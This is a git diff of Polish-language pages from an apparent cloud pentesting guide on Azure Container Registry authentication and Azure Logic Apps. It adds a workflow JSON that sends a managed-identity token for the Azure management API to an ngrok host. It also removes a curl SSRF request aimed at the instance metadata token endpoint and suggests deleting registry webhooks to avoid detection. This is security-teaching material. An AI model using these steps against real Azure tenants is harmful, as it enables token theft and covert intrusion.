musisz użyć jako nazwy użytkownika `00000000-0000-0000-0000-000000000000`, jak: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` -- **Z kontem administratora**: Użytkownik administratora jest domyślnie wyłączony, ale można go włączyć, a następnie będzie możliwe uzyskanie dostępu do rejestru za pomocą **nazwa użytkownika** i **hasła** konta administratora z pełnymi uprawnieniami do rejestru. Jest to nadal wspierane, ponieważ niektóre usługi Azure z tego korzystają. Zauważ, że dla tego użytkownika tworzone są **2 hasła** i oba są ważne. Możesz to włączyć za pomocą `az acr update -n --admin-enabled true`. Zauważ, że nazwa użytkownika to zazwyczaj nazwa rejestru (a nie `admin`). -- **Z tokenem**: Możliwe jest utworzenie **tokena** z **konkretną `mapą zakresu`** (uprawnienia) do uzyskania dostępu do rejestru. Następnie można użyć tej nazwy tokena jako nazwy użytkownika i jednego z wygenerowanych haseł do uwierzytelnienia w rejestrze za pomocą `docker login -u -p aregistry-url>` -- **Z Service Principal**: Możliwe jest utworzenie **service principal** i przypisanie roli, takiej jak **`AcrPull`**, do pobierania obrazów. Następnie będzie możliwe **logowanie do rejestru** używając appId SP jako nazwy użytkownika i wygenerowanego sekretu jako hasła. +- **Z Entra ID**: To jest **domyślny** sposób uwierzytelniania w ACR. Używa polecenia **`az acr login`** do uwierzytelnienia w ACR. To polecenie **przechowa dane logowania** w pliku **`~/.docker/config.json`**. Ponadto, jeśli uruchamiasz to polecenie z środowiska bez dostępu do gniazda dockera, jak w **cloud shell**, możliwe jest użycie flagi **`--expose-token`** do uzyskania **tokena** do uwierzytelnienia w ACR. Następnie, aby się uwierzytelnić, musisz użyć jako nazwy użytkownika `00000000-0000-0000-0000-000000000000`, jak: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **Z kontem administratora**: Użytkownik administratora jest domyślnie wyłączony, ale można go włączyć, a następnie będzie możliwe uzyskanie dostępu do rejestru za pomocą **nazwa użytkownika** i **hasła** konta administratora z pełnymi uprawnieniami do rejestru. To wciąż jest wspierane, ponieważ niektóre usługi Azure z tego korzystają. Zauważ, że dla tego użytkownika tworzone są **2 hasła** i oba są ważne. Możesz to włączyć za pomocą `az acr update -n --admin-enabled true`. Zauważ, że nazwa użytkownika to zazwyczaj nazwa rejestru (a nie `admin`). +- **Z tokenem**: Możliwe jest utworzenie **tokena** z **konkretną mapą zakresu** (uprawnienia) do uzyskania dostępu do rejestru. Następnie można użyć nazwy tokena jako nazwy użytkownika i dowolnego z wygenerowanych haseł do uwierzytelnienia w rejestrze za pomocą `docker login -u -p ` +- **Z Service Principal**: Możliwe jest utworzenie **service principal** i przypisanie roli, takiej jak **`AcrPull`**, do pobierania obrazów. Następnie będzie możliwe **logowanie do rejestru** przy użyciu appId SP jako nazwy użytkownika i wygenerowanego sekretu jako hasła. -Przykładowy skrypt z [dokumentacji](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) do generowania SP z dostępem do rejestru: +Przykładowy skrypt z [dokumentacji](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) do wygenerowania SP z dostępem do rejestru: ```bash #!/bin/bash ACR_NAME=$containerRegistry @@ -67,7 +67,7 @@ Funkcja **miękkiego usuwania** pozwala na **odzyskanie usuniętego rejestru** w ### Webhooki -Możliwe jest **tworzenie webhooków** wewnątrz rejestrów. W tym webhooku należy określić URL, na który **żądanie będzie wysyłane za każdym razem, gdy wykonana zostanie akcja push lub delete**. Ponadto, Webhooki mogą wskazywać zakres, aby określić repozytoria (obrazy), które będą dotknięte. Na przykład, 'foo:\*' oznacza zdarzenia w repozytorium 'foo'. +Możliwe jest **tworzenie webhooków** wewnątrz rejestrów. W tym webhooku należy określić URL, na który **żądanie będzie wysyłane za każdym razem, gdy wykonana zostanie akcja push lub delete**. Ponadto, webhooki mogą wskazywać zakres, aby określić repozytoria (obrazy), które będą dotknięte. Na przykład, 'foo:\*' oznacza zdarzenia w repozytorium 'foo'. Z perspektywy atakującego interesujące jest sprawdzenie tego **przed wykonaniem jakiejkolwiek akcji** w rejestrze i tymczasowe usunięcie go, jeśli to konieczne, aby uniknąć wykrycia. @@ -94,7 +94,7 @@ az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world ``` Jednak to wywoła uruchomienia, które nie są zbyt interesujące z perspektywy atakującego, ponieważ nie mają do nich przypisanej żadnej zarządzanej tożsamości. -Jednak **zadania** mogą mieć przypisaną **tożsamość zarządzaną przez system i użytkownika**. Te zadania są przydatne do **eskalacji uprawnień** w kontenerze. W sekcji eskalacji uprawnień można zobaczyć, jak używać zadań do eskalacji uprawnień. +Jednak **zadania** mogą mieć przypisaną **systemową i użytkownikową zarządzaną tożsamość**. Te zadania są przydatne do **eskalacji uprawnień** w kontenerze. W sekcji eskalacji uprawnień można zobaczyć, jak używać zadań do eskalacji uprawnień. ### Cache @@ -143,10 +143,16 @@ az acr cache list --registry # Get cache details az acr cache show --name --registry ``` -## Eskalacja Uprawnień i Po Eksploatacji +## Nieautoryzowany dostęp {{#ref}} -../az-privilege-escalation/az-automation-accounts-privesc.md +../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md +{{#endref}} + +## Eskalacja uprawnień i post eksploitacja + +{{#ref}} +../az-privilege-escalation/az-container-registry-privesc.md {{#endref}} ## Odniesienia diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index fdea8e256..0979b6fcb 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -4,99 +4,175 @@ ## Podstawowe informacje -Azure Logic Apps to usługa w chmurze oferowana przez Microsoft Azure, która umożliwia programistom **tworzenie i uruchamianie przepływów pracy integrujących różne usługi**, źródła danych i aplikacje. Te przepływy pracy są zaprojektowane w celu **automatyzacji procesów biznesowych**, orkiestracji zadań i realizacji integracji danych w różnych platformach. +Azure Logic Apps umożliwia deweloperom **tworzenie i uruchamianie przepływów pracy, które integrują różne usługi**, źródła danych i aplikacje. Te przepływy pracy są zaprojektowane w celu **automatyzacji procesów biznesowych**, orkiestracji zadań i realizacji integracji danych w różnych platformach. -Logic Apps oferuje wizualny projektant do tworzenia przepływów pracy z **szeroką gamą wbudowanych konektorów**, co ułatwia łączenie się i interakcję z różnymi usługami, takimi jak Office 365, Dynamics CRM, Salesforce i wiele innych. Możesz również tworzyć niestandardowe konektory dostosowane do swoich potrzeb. +Logic Apps oferuje **wizualny projektant** do tworzenia przepływów pracy z **szeroką gamą wbudowanych konektorów**, co ułatwia łączenie się i interakcję z różnymi usługami: -Podczas tworzenia Logic App musisz utworzyć lub połączyć zewnętrzne konto magazynowe, które przechowuje stan przepływu pracy, historię uruchomień i artefakty. To magazynowanie można skonfigurować z ustawieniami diagnostycznymi do monitorowania i można je zabezpieczyć ograniczeniami dostępu do sieci lub zintegrować z wirtualną siecią w celu kontrolowania ruchu przychodzącego i wychodzącego. +
https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png
-### Przykłady - -- **Automatyzacja potoków danych**: Logic Apps mogą automatyzować **procesy transferu i transformacji danych** w połączeniu z Azure Data Factory. Jest to przydatne do tworzenia skalowalnych i niezawodnych potoków danych, które przenoszą i transformują dane między różnymi magazynami danych, takimi jak Azure SQL Database i Azure Blob Storage, wspierając analitykę i operacje związane z inteligencją biznesową. -- **Integracja z Azure Functions**: Logic Apps mogą współpracować z Azure Functions w celu opracowania **zaawansowanych aplikacji wyzwalanych zdarzeniami, które skalują się w razie potrzeby** i integrują się płynnie z innymi usługami Azure. Przykładem zastosowania jest użycie Logic App do wyzwolenia Azure Function w odpowiedzi na określone zdarzenia, takie jak zmiany w koncie magazynowym Azure, co umożliwia dynamiczne przetwarzanie danych. - -### Wizualizacja LogicAPP - -Możliwe jest wyświetlenie LogicApp w formie graficznej: - -
- -lub sprawdzenie kodu w sekcji "**Widok kodu aplikacji logicznej**". - -### Ochrona przed SSRF - -Nawet jeśli znajdziesz **Logic App podatny na SSRF**, nie będziesz w stanie uzyskać dostępu do poświadczeń z metadanych, ponieważ Logic Apps na to nie pozwala. - -Na przykład coś takiego nie zwróci tokena: -```bash -# The URL belongs to a Logic App vulenrable to SSRF -curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v -``` ### Opcje hostingu Istnieje kilka opcji hostingu: -* **Konsumpcja** -- **Wielu najemców**: zapewnia współdzielone zasoby obliczeniowe, działa w chmurze publicznej i stosuje model cenowy płatności za operację. Jest to idealne dla lekkich i opłacalnych obciążeń. Wdraża "Jedno Przepływ". +* **Consumption** +- **Multi-tenant**: Oferuje współdzielone zasoby obliczeniowe, działa w chmurze publicznej i stosuje model cenowy płatności za operację. Jest to idealne dla lekkich i opłacalnych obciążeń. To, co nazwiemy "Single Workflow". * **Standard** -- **Plan usługi przepływu pracy**: dedykowane zasoby obliczeniowe z integracją VNET dla sieci i opłatami za instancję planu usługi przepływu pracy. Nadaje się do bardziej wymagających obciążeń, które wymagają większej kontroli. -- **Środowisko usługi aplikacji V3**: dedykowane zasoby obliczeniowe z pełną izolacją i skalowalnością. Integruje się również z VNET dla sieci i stosuje model cenowy oparty na instancjach usługi aplikacji w środowisku. -- **Hybrydowe**: zaprojektowane do przetwarzania lokalnego i wsparcia dla wielu chmur. Umożliwia zarządzane przez klienta zasoby obliczeniowe z dostępem do lokalnej sieci i wykorzystuje Kubernetes Event-Driven Autoscaling (KEDA). Opiera się na połączonym środowisku aplikacji kontenerowych. +- **Workflow Service Plan**: Oferuje dedykowane zasoby obliczeniowe z integracją VNET dla sieci i pobiera opłaty za instancję planu usługi przepływu pracy. Jest odpowiedni dla bardziej wymagających obciążeń, które wymagają większej kontroli. +- **App Service Environment V3:** Oferuje dedykowane zasoby obliczeniowe z pełną izolacją i skalowalnością. Integruje się również z VNET dla sieci i stosuje model cenowy oparty na instancjach App Service w środowisku. +- **Hybrid:** Zaprojektowany do lokalnego przetwarzania i wsparcia multi-cloud. Umożliwia zarządzane przez klienta zasoby obliczeniowe z dostępem do lokalnej sieci i wykorzystuje Kubernetes Event-Driven Autoscaling (KEDA). Opiera się na Container App Connected Environment. -### Kluczowe funkcje -- **Przechowywanie**: Logic Apps wymagają zewnętrznego konta Azure Storage do przechowywania stanu przepływu pracy, historii uruchomień… i muszą znajdować się w tej samej grupie zasobów co Logic App. -- **Sieć i bezpieczeństwo**: Logic Apps mogą być konfigurowane z dostępem publicznym lub prywatnym. Domyślnie aplikacja jest otwarta na internet, ale może być zintegrowana z Azure Virtual Network dla izolowanej łączności. -- **Insights aplikacji**: Zarządzanie wydajnością aplikacji (APM) za pośrednictwem Azure Monitor Application Insights może być włączone, aby śledzić wydajność, wykrywać anomalie i dostarczać analizy. -- **Kontrola dostępu**: Logic Apps obsługują tożsamości zarządzane przez system i tożsamości zarządzane przez użytkownika. +## "Single" Workflows / Consumption Plan -### "Jedno" Przepływy Pracy +**Workflow** to uporządkowana sekwencja zautomatyzowanych kroków lub zadań, które realizują określony proces lub cel. Definiuje, jak różne działania, warunki i decyzje współdziałają, aby osiągnąć pożądany wynik, usprawniając operacje i redukując wysiłek manualny. -**Przepływ pracy** to uporządkowana sekwencja zautomatyzowanych kroków lub zadań, które wykonują określony proces lub cel. Definiuje, jak różne działania, warunki i decyzje współdziałają, aby osiągnąć pożądany wynik, usprawniając operacje i redukując wysiłek manualny. Przepływy pracy mogą integrować wiele systemów, wyzwalać zdarzenia i zasady, zapewniając spójność i efektywność w procesach. +> [!TIP] +> Plan Consumption pozwala na **tworzenie pojedynczego przepływu pracy bez potrzeby posiadania samej Logic App**. -Azure Logic Apps daje funkcjonalność **tworzenia jednego przepływu pracy bez potrzeby posiadania samej Logic App**. +### Wyzwalacze i akcje -Każdy przepływ pracy ma różne **wyzwalacze**. Te wyzwalacze to kroki, które przepływ pracy wykonuje. Każdy wyzwalacz ma swoje parametry, które mogą się różnić w zależności od typu wyzwalacza: -- Nazwa połączenia -- **Typ uwierzytelnienia**, który może być, Klucz dostępu, Microsoft Entra ID, uwierzytelnianie zintegrowanego głównego usługi i tożsamość zarządzana przez Logic Apps. +Wyzwalacze przepływu pracy wskazują **kiedy przepływ pracy powinien się rozpocząć**. Wyzwalacze mogą być punktem końcowym HTTP, harmonogramem lub dziesiątkami różnych zdarzeń z Azure lub nawet zewnętrznych aplikacji. -Wyzwalacze mają również różne ustawienia: -- Walidacja schematu: zapewnia, że przychodzące dane przestrzegają zdefiniowanej struktury. -- Kontrola współbieżności: ogranicza liczbę równoległych uruchomień. -- Warunki wyzwalacza: warunki, które muszą być spełnione, zanim wyzwalacz zostanie uruchomiony. -- Sieć: konfiguruje rozmiar pakietu do transferu danych i pozwala na tłumienie nagłówków przepływu pracy w odpowiedziach. -- **Bezpieczeństwo**: umożliwia **Bezpieczne wejścia/wyjścia, aby ukryć** wrażliwe dane w logach i wyjściach. +Każdy przepływ pracy ma różne **akcje**. Te akcje to kroki, które przepływ pracy wykonuje. W zależności od akcji różne parametry będą dostępne do skonfigurowania, takie jak: -**Ustawienia i połączenia API:** +- **Nazwa połączenia**: Połączenie, z którym akcja będzie współdziałać. +- **Typ uwierzytelnienia:** Różne opcje to Klucz dostępu, Microsoft Entra ID, uwierzytelnianie zintegrowanego głównego konta usługi i tożsamość zarządzana Logic Apps. +- Z perspektywy tylko do odczytu, dane **Uwierzytelnienia** są zawsze interesujące, ponieważ mogą zawierać wrażliwe informacje. +- Z perspektywy zapisu, dane **Uwierzytelnienia** są zawsze interesujące, ponieważ mogą pozwolić na wykorzystanie uprawnień przypisanych tożsamości zarządzanych. +- ... -Przepływ pracy ma różne ustawienia, takie jak: -- Dozwolone adresy IP przychodzące: To ustawienie pozwala ograniczyć, kto może uruchomić lub rozpocząć Twoją Logic App. Opcje to Dowolny IP, Tylko inne Logic Apps i Konkretne zakresy IP. -- Konto integracyjne: Tutaj możesz połączyć swoją Logic App z Kontem Integracyjnym. -- Wysoka przepustowość: To ustawienie umożliwia Twojej Logic App obsługę większej liczby żądań szybko. -- Retencja historii uruchomień: przez jaki czas historia uruchomień Twojej Logic App jest przechowywana. +Akcje mają również różne **ustawienia**, które zależą od samej akcji. Niektóre z najczęstszych ustawień to: -Możesz zobaczyć różne połączenia API, które ma przepływ pracy. Wewnątrz każdego z tych połączeń mają różne właściwości i możliwość edytowania połączenia API, gdzie typ uwierzytelnienia może być zmieniony. +- **Polityka ponownego próby**: Konfiguruje liczbę prób i odstęp między nimi. +- **Limit czasu**: Ustala maksymalny czas, przez jaki akcja może działać, zanim wygaśnie. +- **Uruchom po**: Określa warunki, które muszą być spełnione przed uruchomieniem akcji. +- **Walidacja schematu**: Zapewnia, że przychodzące dane przestrzegają zdefiniowanej struktury. +- **Sieć**: Konfiguruje, jak zarządzać różnymi nagłówkami. +- **Bezpieczne dane wejściowe/wyjściowe**: To ukryje dane wejściowe/wyjściowe z historii uruchamiania. +- ... -**Historia i wersje:** -Ma opcję dostępu do **historii** różnych uruchomień, pokazuje Ustawienia, Wyjście, Parametry i Kod. +### Polityki autoryzacji -Ma również opcję dostępu do różnych **wersji** przepływu pracy, gdzie możesz sprawdzić kod i zmienić bieżący przepływ pracy na starszą wersję. - -**Autoryzacja:** -Azure Logic Apps obsługują **polityki autoryzacji** z Entra ID, aby zabezpieczyć wyzwalacze oparte na żądaniach, wymagając ważnego tokena dostępu. Ten token musi zawierać określone roszczenia: +Te przepływy pracy wspierają **polityki autoryzacji** z Entra ID, aby zabezpieczyć wyzwalacze oparte na żądaniach, wymagając ważnego tokena dostępu. Ten token musi zawierać określone roszczenia: - Wydawca (iss) do weryfikacji dostawcy tożsamości -- Odbiorca (aud) do zapewnienia, że token jest przeznaczony dla Logic App +- Odbiorca (aud) aby upewnić się, że token jest przeznaczony dla Logic App - Temat (sub) do identyfikacji wywołującego - ID JWT (identyfikator tokena JSON Web) - Niestandardowe roszczenie -Gdy żądanie jest odbierane, Logic Apps weryfikuje token w odniesieniu do tych roszczeń i pozwala na wykonanie tylko wtedy, gdy pasują do skonfigurowanej polityki. Może to być użyte do zezwolenia innemu najemcy na uruchomienie przepływu pracy lub odmowy wyzwolenia z innych źródeł, na przykład zezwalając na wyzwolenie tylko, jeśli pochodzi z https://login.microsoftonline.com/. +Gdy żądanie jest odbierane, Logic Apps weryfikuje token w odniesieniu do tych roszczeń i pozwala na wykonanie tylko wtedy, gdy pasują do skonfigurowanej polityki. Może to być użyte do zezwolenia innemu najemcy na wyzwolenie przepływu pracy lub odmowy wyzwolenia z innych źródeł, na przykład zezwalając na wyzwolenie tylko, jeśli pochodzi z https://login.microsoftonline.com/. -**Klucze dostępu:** -Gdy zapisujesz wyzwalacz oparty na żądaniu po raz pierwszy, Logic Apps automatycznie tworzy unikalny punkt końcowy z podpisem SAS (utworzonym z Klucza dostępu), który przyznaje uprawnienia do wywołania przepływu pracy. Ten podpis SAS jest osadzony w URL wyzwalacza. Ten klucz może być regenerowany i da nowy podpis SAS, ale klucze nie mogą być wyświetlane. +### Klucze dostępu -URL do wywołania go z Kluczem dostępu: +Przepływy pracy **generują 2 klucze dostępu** w momencie ich tworzenia. Klucze te są używane do uwierzytelniania i autoryzacji żądań do przepływu pracy. Klucze są używane do generowania tokena Shared Access Signature (SAS), który jest dołączany do adresu URL żądania. +Tak więc, gdy tworzony jest wyzwalacz punktu końcowego HTTP, generowany jest **unikalny punkt końcowy HTTP z podpisem SAS**, który przyznaje pozwolenie na wywołanie przepływu pracy. + +Te **klucze mogą być regenerowane** i nowy adres URL SAS zostanie utworzony dla tych wyzwalaczy, ale **wartości kluczy nie mogą być dostępne**. + +Przykład adresu URL SAS do wywołania wyzwalacza: +``` https://.logic.azure.com:443/workflows//triggers//paths/invoke?api-version=&sp=%2Ftriggers%2F%2Frun&sv=&sig= +``` +### Ustawienia i komponenty przepływu pracy + +- **Opcja dostępu do wyzwalacza**: To ustawienie pozwala ograniczyć, kto może wyzwalać lub uruchamiać twój przepływ pracy. Opcje to: Dowolny adres IP, Tylko inny przepływ pracy oraz Konkretne zakresy adresów IP. +- **Konto integracyjne**: Połącz swój przepływ pracy z Kontem Integracyjnym. +- **Wysoka przepustowość**: Jeśli włączone, pozwala na szybkie obsługiwanie większej liczby żądań równolegle. +- **Zachowanie historii uruchomień**: To wskazuje liczbę dni, przez które należy przechowywać historię uruchomień. +- **Połączenia API**: To pokazuje różne połączenia API, które ma przepływ pracy. W ramach każdego z tych połączeń mają różne właściwości oraz możliwość edytowania połączenia API, gdzie typ uwierzytelnienia może być zmieniony. +- **Historia**: Ma opcję dostępu do **historii** starych wykonania i uzyskania danych: Ustawienia, Wyjście, Parametry oraz Kod. +- **Wersje**: Ma opcję dostępu do różnych **wersji** przepływu pracy, gdzie możesz sprawdzić kod i zmienić obecny przepływ pracy na starszą wersję. +- **Zarządzane tożsamości**: Możliwe jest przypisanie 1 systemowej tożsamości zarządzanej oraz tożsamości użytkownika zarządzanej do przepływu pracy. + +### Wycieki tokenów dostępu MI + +Akcja HTTP w przepływie pracy może być używana do wysyłania danych do zewnętrznej sieci. W **Zaawansowanych parametrach** akcji HTTP możliwe jest skonfigurowanie **Typu uwierzytelnienia** jako **`Managed identity`** i następnie wybranie **przypisanej tożsamości zarządzanej** do użycia (systemowej lub użytkownika). + +Ponadto, możliwe jest wskazanie w **`Audience`** odbiorcy wygenerowanego JWT, który może być na przykład **`https://management.azure.com/`**, aby móc użyć wygenerowanego tokena do uzyskania dostępu do API zarządzania Azure. + +> [!WARNING] +> Sprawienie, aby akcja wysłała żądanie HTTP do serwera kontrolowanego przez atakującego, może spowodować **wyciek tokena dostępu tożsamości zarządzanej** przypisanej do przepływu pracy. + +> [!TIP] +> Atakujący może również użyć innych typów akcji, aby **bezpośrednio uzyskać dostęp do innych usług Azure** i wykonywać działania z uprawnieniami tożsamości zarządzanej. + +To jest kod przepływu pracy, który eksponuje punkt końcowy HTTP, a następnie używa akcji HTTP do wycieku tokena dostępu do skonfigurowanego URL (ngrok w tym przypadku): + +
+Kod przepływu pracy +```json +{ +"definition": { +"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", +"contentVersion": "1.0.0.0", +"triggers": { +"When_a_HTTP_request_is_received": { +"type": "Request", +"kind": "Http" +} +}, +"actions": { +"HTTP": { +"runAfter": {}, +"type": "Http", +"inputs": { +"uri": "https://22b6-81-33-70-107.ngrok-free.app", +"method": "GET", +"authentication": { +"type": "ManagedServiceIdentity", +"audience": "https://management.azure.com/" +} +}, +"runtimeConfiguration": { +"contentTransfer": { +"transferMode": "Chunked" +} +} +} +}, +"outputs": {}, +"parameters": { +"$connections": { +"type": "Object", +"defaultValue": {} +} +} +}, +"parameters": { +"$connections": { +"type": "Object", +"value": {} +} +} +} +``` +
+ +## Logic Apps / Standard Plan + +### Różnice z "Jednostkowymi" Workflowami + +Logic apps zasadniczo używają App Service w tle do **hostowania aplikacji logicznej, która może hostować kilka workflowów**. Oznacza to, że aplikacja logiczna będzie miała wszystkie funkcje App Service oraz "Jednostkowych" Workflowów. + +Niektóre kluczowe funkcje to: + +- **App Service Plan**: Logic Apps w standardowym planie są hostowane na App Service Plan, więc możliwe jest korzystanie ze wszystkich funkcji App Service, takich jak: +- **Ograniczenia sieciowe**: Wskazuje, skąd jest dostępne. +- **Centrum wdrożeń**: Wdrażaj z zewnętrznych platform, takich jak Github, Bitbucket, Azure Repos, External Git i Local Git. +- **Dostęp FTP**: Możliwe jest uzyskanie dostępu do plików aplikacji logicznej przez FTP. +- **Konto magazynowe**: Aplikacja usługi korzysta z konta magazynowego do przechowywania informacji. +- **Zmienne środowiskowe i ustawienia aplikacji**: Możliwe jest skonfigurowanie zmiennych środowiskowych i ustawień aplikacji (i znalezienie wrażliwych informacji, takich jak klucze dostępu do konta magazynowego). +- ... +- **Parametry**: Parametry pozwalają zarządzać wartościami, które różnią się w zależności od środowiska deweloperskiego, testowego i produkcyjnego. Umożliwia to zaprojektowanie workflowów najpierw, a następnie łatwe dostosowanie ustawień specyficznych dla środowiska później. +- **Dedykowane zasoby**: Logic Apps w standardowym planie mają dedykowane zasoby. +- **Wiele workflowów**: Umożliwia tworzenie wielu workflowów. + +Aby uzyskać więcej informacji o App Services, sprawdź: + +{{#ref}} +../az-services/az-app-services.md +{{#endref}} + ### Enumeracja @@ -203,19 +279,19 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name "